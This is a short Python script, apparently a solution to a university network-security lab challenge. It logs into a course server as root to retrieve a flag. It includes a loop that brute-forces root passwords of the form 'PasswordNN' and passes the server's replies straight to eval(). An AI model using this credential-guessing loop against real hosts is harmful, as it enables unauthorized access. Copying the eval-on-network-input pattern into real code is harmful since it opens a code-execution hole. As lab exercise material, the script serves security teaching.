51 lines
1.4 KiB
Python
51 lines
1.4 KiB
Python
import socket
|
|
import time
|
|
# Fill in the right target here
|
|
HOST = 'netsec.net.in.tum.de' # TODO
|
|
PORT = 64984 # TODO
|
|
|
|
def gen_crends():
|
|
credentials = "root,Password00"
|
|
return credentials
|
|
|
|
def get_flag():
|
|
credentials = "root,Password19"
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((HOST, PORT))
|
|
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
|
print(sf.readline().rstrip('\n'))
|
|
sf.write("{}\n".format(credentials))
|
|
sf.flush()
|
|
data = sf.readline().rstrip('\n')
|
|
print(data)
|
|
response = eval(data)
|
|
sf.write("{}\n".format(response))
|
|
sf.flush()
|
|
print(sf.readline().rstrip('\n'))
|
|
flag = sf.readline().rstrip('\n')
|
|
return flag
|
|
|
|
|
|
def find_port_get_flag():
|
|
for i in range(100):
|
|
time.sleep(1)
|
|
credentials = "root,Password"+str("%02d" % i)
|
|
print(credentials)
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((HOST, PORT))
|
|
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
|
print(sf.readline().rstrip('\n'))
|
|
sf.write("{}\n".format(credentials))
|
|
sf.flush()
|
|
data = sf.readline().rstrip('\n')
|
|
answer = eval(data)
|
|
sf.write("{}\n".format(answer))
|
|
sf.flush()
|
|
print(sf.readline().rstrip('\n'))
|
|
except:
|
|
pass
|
|
|
|
|
|
if __name__ == '__main__':
|
|
print(get_flag()) |